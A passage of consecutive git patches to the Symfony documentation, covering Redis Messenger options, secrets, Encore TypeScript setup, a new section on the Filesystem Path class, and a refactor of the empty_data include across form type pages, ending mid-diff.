From 09f0759039a21977b2d94a682c05b2826371aeaa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:00:03 +0100
Subject: [PATCH 2705/7107] Minor tweaks

---
 messenger.rst | 84 +++++++++++++++++++++++++--------------------------
 1 file changed, 42 insertions(+), 42 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 0e3b8f51b0d..59ac3a5fb4e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1441,47 +1441,47 @@ A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
 
-======================= =====================================  =================================
-     Option               Description                          Default
-======================= =====================================  =================================
-stream                  The Redis stream name                  messages
-group                   The Redis consumer group name          symfony
-consumer                Consumer name used in Redis            consumer
-auto_setup              Create the Redis group automatically?  true
-auth                    The Redis password
-delete_after_ack        If ``true``, messages are deleted      false
-                        automatically after processing them
-delete_after_reject     If ``true``, messages are deleted      true
-                        automatically if they are rejected
-lazy                    Connect only when a connection is      false
-                        really needed
-serializer              How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                        in Redis (the
-                        ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries      The maximum number of entries which    ``0`` (which means "no trimming")
-                        the stream will be trimmed to. Set
-                        it to a large enough number to
-                        avoid losing pending messages
-tls                     Enable TLS support for the connection  false
-redeliver_timeout       Timeout before retrying a pending      ``3600``
-                        message which is owned by an
-                        abandoned consumer (if a worker died
-                        for some reason, this will occur,
-                        eventually you should retry the
-                        message) - in seconds.
-claim_interval          Interval on which pending/abandoned    ``60000`` (1 Minute)
-                        messages should be checked for to
-                        claim - in milliseconds
-sentinel_persistent_id  String, if null connection is          null
-                        non-persistent.                                                                
-sentinel_retry_interval Int, value in milliseconds             ``0``                            
-sentinel_read_timeout   Float, value in seconds                ``0``
-                        default indicates unlimited                                             
-sentinel_timeout        Float, value in seconds                ``0``
-                        default indicates unlimited                 
-sentinel_master         String, if null or empty Sentinel      null
-                        support is disabled
-======================= =====================================  =================================
+=======================  =====================================  =================================
+Option                   Description                            Default
+=======================  =====================================  =================================
+stream                   The Redis stream name                  messages
+group                    The Redis consumer group name          symfony
+consumer                 Consumer name used in Redis            consumer
+auto_setup               Create the Redis group automatically?  true
+auth                     The Redis password
+delete_after_ack         If ``true``, messages are deleted      false
+                         automatically after processing them
+delete_after_reject      If ``true``, messages are deleted      true
+                         automatically if they are rejected
+lazy                     Connect only when a connection is      false
+                         really needed
+serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
+                         in Redis (the
+                         ``Redis::OPT_SERIALIZER`` option)
+stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
+                         the stream will be trimmed to. Set
+                         it to a large enough number to
+                         avoid losing pending messages
+tls                      Enable TLS support for the connection  false
+redeliver_timeout        Timeout before retrying a pending      ``3600``
+                         message which is owned by an
+                         abandoned consumer (if a worker died
+                         for some reason, this will occur,
+                         eventually you should retry the
+                         message) - in seconds.
+claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
+                         messages should be checked for to
+                         claim - in milliseconds
+sentinel_persistent_id   String, if null connection is          null
+                         non-persistent.
+sentinel_retry_interval  Int, value in milliseconds             ``0``
+sentinel_read_timeout    Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_timeout         Float, value in seconds                ``0``
+                         default indicates unlimited
+sentinel_master          String, if null or empty Sentinel      null
+                         support is disabled
+=======================  =====================================  =================================
 
 .. caution::
 
@@ -1509,7 +1509,7 @@ sentinel_master         String, if null or empty Sentinel      null
 .. versionadded:: 5.2
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
-	
+
 .. versionadded:: 5.4
 
     The ``sentinel_persistent_id``, ``sentinel_retry_interval``, ``sentinel_read_timeout``,

From 587c949fcde3d2edcd1f10dffdd2a199b0d63084 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:24:41 +0100
Subject: [PATCH 2706/7107] Minor tweak

---
 configuration/secrets.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index c1a342e9b72..ba0c05bb278 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -100,7 +100,8 @@ in ``config/secrets/prod``. You can also set the secret in a few other ways:
 
 .. note::
 
-    If you need to rename a secret, you must create the new one and remove the old one.
+    There's no command to rename secrets, so you'll need to create a new secret
+    and remove the old one.
 
 Referencing Secrets in Configuration Files
 ------------------------------------------

From 9e47c94bdb4f66e610fb20be57620bd61e9a0aa7 Mon Sep 17 00:00:00 2001
From: Andreas <andreas.leathley@panaxis.ch>
Date: Mon, 15 Nov 2021 11:12:03 +0100
Subject: [PATCH 2707/7107] Add missing information about tsconfig.json

That a file tsconfig.json is necessary was not mentioned (without it the error "The 'files' list in config file 'tsconfig.json' is empty" occurs), and making it clear that it does not have to be in the main project folder seems helpful.
---
 frontend/encore/typescript.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index fbd0b616c86..1ecd101a061 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -20,6 +20,11 @@ Want to use `TypeScript`_? No problem! First, enable it:
     +     //.enableForkedTypeScriptTypesChecking()
       ;
 
+Then add a `tsconfig.json` file with the contents `{}` to the project folder,
+or in the folder where your TypeScript files are located, like the `/assets`
+folder. In `tsconfig.json` you can define more options on how to process
+TypeScript, but defining no additional options will already work.
+
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting
 Encore, you're done!

From 18b0def05dc8a913bd4b95bd1f45ca0e1aa49b41 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Nov 2021 17:34:28 +0100
Subject: [PATCH 2708/7107] Minor reword

---
 frontend/encore/typescript.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/frontend/encore/typescript.rst b/frontend/encore/typescript.rst
index 1ecd101a061..103f1f0b293 100644
--- a/frontend/encore/typescript.rst
+++ b/frontend/encore/typescript.rst
@@ -20,10 +20,9 @@ Want to use `TypeScript`_? No problem! First, enable it:
     +     //.enableForkedTypeScriptTypesChecking()
       ;
 
-Then add a `tsconfig.json` file with the contents `{}` to the project folder,
-or in the folder where your TypeScript files are located, like the `/assets`
-folder. In `tsconfig.json` you can define more options on how to process
-TypeScript, but defining no additional options will already work.
+Then create an empty ``tsconfig.json`` file with the contents ``{}`` in the project
+root folder (or in the folder where your TypeScript files are located; e.g. ``assets/``).
+In ``tsconfig.json`` you can define more options, as shown in `tsconfig.json reference`_.
 
 Then restart Encore. When you do, it will give you a command you can run to
 install any missing dependencies. After running that command and restarting

From 3f42e2c1577bd3ce5efcb8b4eca51c584c648019 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 17 Nov 2021 19:31:25 +0100
Subject: [PATCH 2709/7107] Corrected typo in serializer.rst

Replace "forgot" by "forget".
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index aac67945db7..635f8e67ba3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -972,7 +972,7 @@ Option                          Description
 ``xml_version``                 Sets the XML version attribute                     ``1.1``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forgot the attribute  ``true``
+``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
                                 type casting
 ``xml_root_node_name``          Sets the root node name                            ``response``
 ``as_collection``               Always returns results as a collection, even if    ``false``

From 165244e7b0c182745033a894be6f849ef1bbab2c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?= <theo.fidry@gmail.com>
Date: Sun, 29 Aug 2021 12:08:00 +0200
Subject: [PATCH 2710/7107] [Filesystem] Add documentation for the Path class

---
 components/filesystem.rst | 210 +++++++++++++++++++++++++++++++++++++-
 1 file changed, 206 insertions(+), 4 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index a5023a270e1..c274c78f921 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,7 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem.
+    The Filesystem component provides basic utilities for the filesystem and
+    paths manipulation.
 
 Installation
 ------------
@@ -18,20 +19,30 @@ Installation
 Usage
 -----
 
-The :class:`Symfony\\Component\\Filesystem\\Filesystem` class is the unique
-endpoint for filesystem operations::
+The component contains two classes:
+
+- The :class:`Symfony\\Component\\Filesystem\\Filesystem` which provides utilities
+  for filesystem write operations.
+- The :class:`Symfony\\Component\\Filesystem\\Path` which provides utilities
+  for paths manipulation.::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
+    use Symfony\Component\Filesystem\Path;
 
     $filesystem = new Filesystem();
 
     try {
-        $filesystem->mkdir(sys_get_temp_dir().'/'.random_int(0, 1000));
+        $filesystem->mkdir(
+            Path::normalize(sys_get_temp_dir().'/'.random_int(0, 1000)),
+        );
     } catch (IOExceptionInterface $exception) {
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
+Filesystem
+----------
+
 ``mkdir``
 ~~~~~~~~~
 
@@ -224,6 +235,11 @@ Its behavior is the following::
     * if ``$path`` does not exist, it returns null.
     * if ``$path`` exists, it returns its absolute fully resolved final version.
 
+.. note::
+
+    If you wish to canonicalize the path without checking its existence, you can
+    use :method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method instead.
+
 ``makePathRelative``
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -309,6 +325,192 @@ creates them before appending the contents.
 
     The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
+Path
+----
+
+.. versionadded:: 5.4
+
+    The :class:`Symfony\\Component\\Filesystem\\Path` class was introduced in Symfony 5.4.
+
+Dealing with file paths usually involves some difficulties:
+
+- System Heterogeneity: file paths look different on different platforms. UNIX
+  file paths start with a slash ("/"), while Windows file paths start with a
+  system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
+  by default ("").
+- Absolute/relative paths: web applications frequently need to deal with absolute
+  and relative paths. Converting one to the other properly is tricky and
+  repetitive.
+
+:class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
+those issues.
+
+Canonicalization
+~~~~~~~~~~~~~~~~
+
+Returns the shortest path name equivalent to the given path. It applies the
+following rules iteratively until no further processing can be done:
+
+- "." segments are removed;
+- ".." segments are resolved;
+- backslashes ("\") are converted into forward slashes ("/");
+- root paths ("/" and "C:/") always terminate with a slash;
+- non-root paths never terminate with a slash;
+- schemes (such as "phar://") are kept;
+- replace "~" with the user's home directory.
+
+You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
+
+    echo Path::canonicalize('/var/www/vhost/webmozart/../config.ini');
+    // => /var/www/vhost/config.ini
+
+You can pass absolute paths and relative paths to the
+:method:`Symfony\\Component\\Filesystem\\Path::canonicalize` method. When a
+relative path is passed, ".." segments at the beginning of the path are kept::
+
+    echo Path::canonicalize('../uploads/../config/config.yaml');
+    // => ../config/config.yaml
+
+Malformed paths are returned unchanged::
+
+    echo Path::canonicalize('C:Programs/PHP/php.ini');
+    // => C:Programs/PHP/php.ini
+
+Converting Absolute/Relative Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Absolute/relative paths can be converted with the methods
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`
+and :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` method expects a
+relative path and a base path to base that relative path upon::
+
+    echo Path::makeAbsolute('config/config.yaml', '/var/www/project');
+    // => /var/www/project/config/config.yaml
+
+If an absolute path is passed in the first argument, the absolute path is
+returned unchanged::
+
+    echo Path::makeAbsolute('/usr/share/lib/config.ini', '/var/www/project');
+    // => /usr/share/lib/config.ini
+
+The method resolves ".." segments, if there are any::
+
+    echo Path::makeAbsolute('../config/config.yaml', '/var/www/project/uploads');
+    // => /var/www/project/config/config.yaml
+
+This method is very useful if you want to be able to accept relative paths (for
+example, relative to the root directory of your project) and absolute paths at
+the same time.
+
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` is the inverse
+operation to :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute`::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project');
+    // => config/config.yaml
+
+If the path is not within the base path, the method will prepend ".." segments
+as necessary::
+
+    echo Path::makeRelative('/var/www/project/config/config.yaml', '/var/www/project/uploads');
+    // => ../config/config.yaml
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::makeAbsolute` and
+:method:`Symfony\\Component\\Filesystem\\Path::makeRelative` to check whether a
+path is absolute or relative::
+
+    Path::isAbsolute('C:\Programs\PHP\php.ini')
+    // => true
+
+All four methods internally canonicalize the passed path.
+
+Finding Longest Common Base Paths
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When you store absolute file paths on the file system, this leads to a lot of
+duplicated information::
+
+    return [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+Especially when storing many paths, the amount of duplicated information is
+noticeable. You can use :method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath`
+to check a list of paths for a common base path::
+
+    $paths = [
+        '/var/www/vhosts/project/httpdocs/config/config.yaml',
+        '/var/www/vhosts/project/httpdocs/config/routing.yaml',
+        '/var/www/vhosts/project/httpdocs/config/services.yaml',
+        '/var/www/vhosts/project/httpdocs/images/banana.gif',
+        '/var/www/vhosts/project/httpdocs/uploads/images/nicer-banana.gif',
+    ];
+
+    Path::getLongestCommonBasePath($paths);
+    // => /var/www/vhosts/project/httpdocs
+
+Use this path together with :method:`Symfony\\Component\\Filesystem\\Path::makeRelative`
+to shorten the stored paths::
+
+    $bp = '/var/www/vhosts/project/httpdocs';
+
+    return [
+        $bp.'/config/config.yaml',
+        $bp.'/config/routing.yaml',
+        $bp.'/config/services.yaml',
+        $bp.'/images/banana.gif',
+        $bp.'/uploads/images/nicer-banana.gif',
+    ];
+
+:method:`Symfony\\Component\\Filesystem\\Path::getLongestCommonBasePath` always
+returns canonical paths.
+
+Use :method:`Symfony\\Component\\Filesystem\\Path::isBasePath` to test whether a
+path is a base path of another path::
+
+    Path::isBasePath("/var/www", "/var/www/project");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/..");
+    // => true
+
+    Path::isBasePath("/var/www", "/var/www/project/../..");
+    // => false
+
+Finding Directories/Root Directories
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+PHP offers the function :phpfunction:`dirname` to obtain the directory path of a
+file path. This method has a few quirks::
+
+- `dirname()` does not accept backslashes on UNIX
+- `dirname("C:/Programs")` returns "C:", not "C:/"
+- `dirname("C:/")` returns ".", not "C:/"
+- `dirname("C:")` returns ".", not "C:/"
+- `dirname("Programs")` returns ".", not ""
+- `dirname()` does not canonicalize the result
+
+:method:`Symfony\\Component\\Filesystem\\Path::getDirectory` fixes these
+shortcomings::
+
+    echo Path::getDirectory("C:\Programs");
+    // => C:/
+
+Additionally, you can use :method:`Symfony\\Component\\Filesystem\\Path::getRoot`
+to obtain the root of a path::
+
+    echo Path::getRoot("/etc/apache2/sites-available");
+    // => /
+
+    echo Path::getRoot("C:\Programs\Apache\Config");
+    // => C:/
+>>>>>>> a992f6342 ([Filesystem] Add documentation for the Path class)
+
 Error Handling
 --------------
 

From 304de64e7dccfc9d6e093d5e2f47822631f928b9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 12:36:41 +0100
Subject: [PATCH 2711/7107] Minor tweaks

---
 components/filesystem.rst | 28 +++++++++++-----------------
 1 file changed, 11 insertions(+), 17 deletions(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index c274c78f921..e60e0b389af 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -4,8 +4,8 @@
 The Filesystem Component
 ========================
 
-    The Filesystem component provides basic utilities for the filesystem and
-    paths manipulation.
+    The Filesystem component provides platform-independent utilities for
+    filesystem operations and for file/directory paths manipulation.
 
 Installation
 ------------
@@ -19,12 +19,8 @@ Installation
 Usage
 -----
 
-The component contains two classes:
-
-- The :class:`Symfony\\Component\\Filesystem\\Filesystem` which provides utilities
-  for filesystem write operations.
-- The :class:`Symfony\\Component\\Filesystem\\Path` which provides utilities
-  for paths manipulation.::
+The component contains two main classes called :class:`Symfony\\Component\\Filesystem\\Filesystem`
+and :class:`Symfony\\Component\\Filesystem\\Path`::
 
     use Symfony\Component\Filesystem\Exception\IOExceptionInterface;
     use Symfony\Component\Filesystem\Filesystem;
@@ -40,8 +36,8 @@ The component contains two classes:
         echo "An error occurred while creating your directory at ".$exception->getPath();
     }
 
-Filesystem
-----------
+Filesystem Utilities
+--------------------
 
 ``mkdir``
 ~~~~~~~~~
@@ -325,8 +321,8 @@ creates them before appending the contents.
 
     The third argument of ``appendToFile()`` was introduced in Symfony 5.4.
 
-Path
-----
+Path Manipulation Utilities
+---------------------------
 
 .. versionadded:: 5.4
 
@@ -334,13 +330,12 @@ Path
 
 Dealing with file paths usually involves some difficulties:
 
-- System Heterogeneity: file paths look different on different platforms. UNIX
+- Platform differences: file paths look different on different platforms. UNIX
   file paths start with a slash ("/"), while Windows file paths start with a
   system drive ("C:"). UNIX uses forward slashes, while Windows uses backslashes
-  by default ("").
+  by default.
 - Absolute/relative paths: web applications frequently need to deal with absolute
-  and relative paths. Converting one to the other properly is tricky and
-  repetitive.
+  and relative paths. Converting one to the other properly is tricky and repetitive.
 
 :class:`Symfony\\Component\\Filesystem\\Path` provides utility methods to tackle
 those issues.
@@ -509,7 +504,6 @@ to obtain the root of a path::
 
     echo Path::getRoot("C:\Programs\Apache\Config");
     // => C:/
->>>>>>> a992f6342 ([Filesystem] Add documentation for the Path class)
 
 Error Handling
 --------------

From b043aa36407257a540c8dbbc3f08ab405429d225 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 12:54:34 +0100
Subject: [PATCH 2712/7107] Fix doc builder script

---
 _build/build.php | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index a72220ab003..b17e3e984be 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -25,7 +25,7 @@
             ->setOutputDir($outputDir)
             ->setImagesDir(__DIR__.'/output/_images')
             ->setImagesPublicPrefix('_images')
-            ->setTheme('sfdocs')
+            ->setTheme('rtd')
         ;
 
         $buildConfig->setExcludedPaths(['.github/', '_build/']);

From 3480f69e8a84132882a7d9fb03437403d4a6a1e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 13:12:53 +0100
Subject: [PATCH 2713/7107] Split a conditional doc include into two separate
 doc includes

---
 reference/forms/types/choice.rst                      |  6 ++----
 reference/forms/types/collection.rst                  |  6 ++----
 reference/forms/types/color.rst                       |  6 ++----
 reference/forms/types/country.rst                     |  6 ++----
 reference/forms/types/currency.rst                    |  6 ++----
 reference/forms/types/email.rst                       |  6 ++----
 reference/forms/types/entity.rst                      |  6 ++----
 reference/forms/types/form.rst                        |  6 ++----
 reference/forms/types/hidden.rst                      |  6 ++----
 reference/forms/types/integer.rst                     |  6 ++----
 reference/forms/types/language.rst                    |  6 ++----
 reference/forms/types/locale.rst                      |  6 ++----
 reference/forms/types/money.rst                       |  6 ++----
 reference/forms/types/number.rst                      |  6 ++----
 .../types/options/empty_data_declaration.rst.inc      |  4 ++++
 ...ty_data.rst.inc => empty_data_description.rst.inc} | 11 -----------
 reference/forms/types/password.rst                    |  6 ++----
 reference/forms/types/percent.rst                     |  6 ++----
 reference/forms/types/range.rst                       |  6 ++----
 reference/forms/types/search.rst                      |  6 ++----
 reference/forms/types/tel.rst                         |  6 ++----
 reference/forms/types/text.rst                        |  6 ++----
 reference/forms/types/textarea.rst                    |  6 ++----
 reference/forms/types/timezone.rst                    |  6 ++----
 reference/forms/types/url.rst                         |  6 ++----
 reference/forms/types/week.rst                        |  6 ++----
 26 files changed, 52 insertions(+), 107 deletions(-)
 create mode 100644 reference/forms/types/options/empty_data_declaration.rst.inc
 rename reference/forms/types/options/{empty_data.rst.inc => empty_data_description.rst.inc} (84%)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index b32ae650a23..ec4f79c7205 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -226,8 +226,7 @@ compound
 This option specifies if a form is compound. The value is by default
 overridden by the value of the ``expanded`` option.
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -235,8 +234,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 442d42c09bd..cbd39920ad9 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -384,13 +384,11 @@ Not all options are listed here - only the most applicable to this type:
 
 .. include:: /reference/forms/types/options/by_reference.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 error_bubbling
 ~~~~~~~~~~~~~~
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 742b7d4cb23..19c64f5fb22 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -35,13 +35,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 744fc8553e1..4f1cf43bb5e 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -91,8 +91,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -100,8 +99,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index d278ad67101..a747c313044 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -68,8 +68,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -77,8 +76,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/help.rst.inc
 
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index e3b4c5c5e00..772a7ce11cf 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -28,13 +28,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 293b6ba81af..6adaa9df79f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -288,8 +288,7 @@ type:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -297,8 +296,7 @@ The actual default value of this option depends on other field options:
   (empty string);
 * Otherwise ``[]`` (empty array).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index a9a3fc2a1e2..f132133e971 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -49,8 +49,7 @@ option on the form.
 
 .. _reference-form-option-empty-data:
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The actual default value of this option depends on other field options:
 
@@ -61,8 +60,7 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. _reference-form-option-error-bubbling:
 
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index cd9968cd6a8..c24da63d8ee 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -44,13 +44,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/data.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_mapping.rst.inc
 
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 8ac061ebf7d..f7955bb8655 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -88,13 +88,11 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
 
 The default value is ``''`` (the empty string).
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :start-after: DEFAULT_PLACEHOLDER
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 25a0f294c94..e38a5e99bc2 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -93,8 +93,7 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
-.. include:: /reference/forms/types/options/empty_data.rst.inc
-    :end-before: DEFAULT_PLACEHOLDER
